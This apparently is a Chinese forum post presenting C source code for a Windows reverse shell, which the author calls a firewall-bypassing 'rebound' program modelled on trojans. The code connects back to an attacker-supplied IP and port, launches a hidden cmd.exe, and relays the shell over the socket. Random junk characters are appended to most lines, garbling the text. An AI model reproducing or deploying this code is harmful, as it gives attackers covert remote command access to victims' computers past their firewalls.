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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 BFMM6-Ve  
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/* ============================== 5Zq- |"|  
Rebound port in Windows NT Me8d o; G|  
By wind,2006/7 J)R2O4OEd  
===============================*/ LJBoS]~  
#include Qc3 !FW<26  
#include bk8IGhO|m!  
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#pragma comment(lib,"wsock32.lib") =^{^KHzIl3  
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void OutputShell(); IlaH,J7n  
SOCKET sClient; ^ML2xh  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0^.q5#A2  
g]3-:&F{c  
void main(int argc,char **argv) :cOwTW?Fj  
{ ~zuMX ;[  
WSADATA stWsaData; &Zf@vD  
int nRet; ^@6eN]  
SOCKADDR_IN stSaiClient,stSaiServer; QZDGk4GG  
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if(argc != 3) k_!z=6?[:  
{ c*3ilMP\4  
printf("Useage:\n\rRebound DestIP DestPort\n"); D 0(gEb  
return; C&"8A\we  
} *EotYT  
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WSAStartup(MAKEWORD(2,2),&stWsaData); s&c^Wr  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \+5L. Q  
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stSaiClient.sin_family = AF_INET; -5E<BmM  
stSaiClient.sin_port = htons(0); FMR0?\jnT  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); E P<U:F  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >Vn!kN6\  
{ H#1/H@I#  
printf("Bind Socket Failed!\n"); A?_2@6Y^  
return; ~>C!l k  
} EmLPq!C  
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stSaiServer.sin_family = AF_INET; hwexv 9""  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^tpy8TQ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [7$<sN<'  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) q6osRK*20  
{ |R+=Yk&u  
printf("Connect Error!"); |ejrE,~1vb  
return; >f_D|;EV  
} 1Ce:<.99B  
OutputShell(); i~\gEMaO  
} M>0~Ek%3  
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void OutputShell() @w2}WX>  
{ U;;Har   
char szBuff[1024]; bf}r8$,  
SECURITY_ATTRIBUTES stSecurityAttributes; .%*.nq  
OSVERSIONINFO stOsversionInfo; L:'Y#VI{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; S_\RQB\l  
STARTUPINFO stStartupInfo; _Jx?m  
char *szShell; .}Xkr+ +]  
PROCESS_INFORMATION stProcessInformation; 8y+Gvk:  
unsigned long lBytesRead; *gBaF/C  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4I,HvP  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); NeNKOW#X  
stSecurityAttributes.lpSecurityDescriptor = 0; X_=oJi|:  
stSecurityAttributes.bInheritHandle = TRUE; >0512_J+  
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#{N#yReh  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \Z)'':},C  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gg6&Fzp  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); q/]tJ{FI  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DrW]`%Ql  
stStartupInfo.wShowWindow = SW_HIDE; FxD"z3D  
stStartupInfo.hStdInput = hReadPipe; z.{y VQE  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; uZ OUp8QQ  
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GetVersionEx(&stOsversionInfo); L!{^^7  
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switch(stOsversionInfo.dwPlatformId) 4,)=r3;&!  
{ y 5=J6a2.  
case 1: !rrjA$P<v  
szShell = "command.com"; gzw[^d  
break; !WDdq_n*v  
default: %d*}:295  
szShell = "cmd.exe"; t7lRMCN  
break; +K+ == mO&  
} B{zIW'Ld  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )m6=_q5@o  
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send(sClient,szMsg,77,0); )TXn7{M:  
while(1) !(+?\+U lE  
{ ,(lD5iN  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);  6W3}6p  
if(lBytesRead) FSH6C2  
{ !M}&dW2  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); f!1K GP  
send(sClient,szBuff,lBytesRead,0); u,&Z5S  
} W+Iln`L  
else `.><$F  
{ k ^+h>B-;  
lBytesRead=recv(sClient,szBuff,1024,0); .]8 Jeb  
if(lBytesRead<=0) break; LV9\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); tMupX-V  
} ^gv)[  
} c L84}1QD  
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return; M"~B_t,Nw  
}
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